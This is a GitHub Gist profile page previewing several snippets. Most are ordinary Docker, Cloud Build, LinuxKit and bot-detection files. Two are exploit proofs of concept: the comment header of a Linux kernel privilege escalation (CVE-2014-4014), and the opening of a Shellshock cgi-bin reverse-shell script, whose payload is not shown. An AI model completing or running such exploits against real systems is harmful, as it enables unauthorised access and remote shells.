Skip to content

Instantly share code, notes, and snippets.

View infoslack's full-sized avatar
🏠
Working from home

Daniel Romero infoslack

🏠
Working from home
View GitHub Profile
@infoslack
infoslack / local-exploit.c
Created June 22, 2014 01:38
CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
@infoslack
infoslack / cve-2014-6271.py
Last active April 5, 2019 14:45
CVE-2014-6271 cgi-bin reverse shell
# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
import httplib,urllib,sys
if (len(sys.argv)<3):
print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
@infoslack
infoslack / cloudbuild.yaml
Last active November 13, 2018 00:44
example
steps:
# build steps
- name: 'gcr.io/cloud-builders/docker'
args: ['pull', 'gcr.io/$PROJECT_ID/project:latest']
- name: 'gcr.io/cloud-builders/docker'
args: [ 'build', '--cache-from', 'gcr.io/$PROJECT_ID/project:latest', '-t', 'gcr.io/$PROJECT_ID/projetc:latest', '-t', 'gcr.io/$PROJECT_ID/project', '.' ]
- name: 'gcr.io/cloud-builders/docker'
args: [ 'tag', 'gcr.io/$PROJECT_ID/project', 'gcr.io/$PROJECT_ID/project:stable-v-$TAG_NAME']
@infoslack
infoslack / Dockerfile
Last active December 9, 2017 10:24
Run Telegram in a container - docker build -t infoslack/telegram .
# Run container
#
# docker run -v /tmp/.X11-unix:/tmp/.X11-unix \
# -v $(pwd)/.telegram:/root/Downloads/Telegram \
# -e DISPLAY=unix$DISPLAY \
# infoslack/telegram
#
FROM ubuntu:14.04
MAINTAINER Daniel Romero <infoslack@gmail.com>
@infoslack
infoslack / Dockerfile
Created July 5, 2017 20:58
minimal Dockerfile
FROM microsoft/dotnet:1.1.2-runtime
ADD . /app/Service.Authentication.Identity
COPY appsettings.json /var/cedro/configs/
ENTRYPOINT dotnet /app/Service.Authentication.Identity/Service.Authentication.Identity.dll
@infoslack
infoslack / demo.yml
Created April 22, 2017 18:45
LinuxKit Example
kernel:
image: "linuxkit/kernel:4.9.x"
cmdline: "console=ttyS0 page_poison=1"
init:
- linuxkit/init:63eed9ca7a09d2ce4c0c5e7238ac005fa44f564b
- linuxkit/runc:b0fb122e10dbb7e4e45115177a61a3f8d68c19a9
- linuxkit/containerd:18eaf72f3f4f9a9f29ca1951f66df701f873060b
- linuxkit/ca-certificates:eabc5a6e59f05aa91529d80e9a595b85b046f935
onboot:
- name: sysctl
@infoslack
infoslack / install.sh
Created March 15, 2017 02:15 — forked from marklit/install.sh
Bot Detection Script. Works with Apache and Nginx Log Files.
sudo apt-get update
sudo apt-get install \
python-dev \
python-pip \
python-virtualenv
virtualenv findbots
source findbots/bin/activate
curl -O http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.mmdb.gz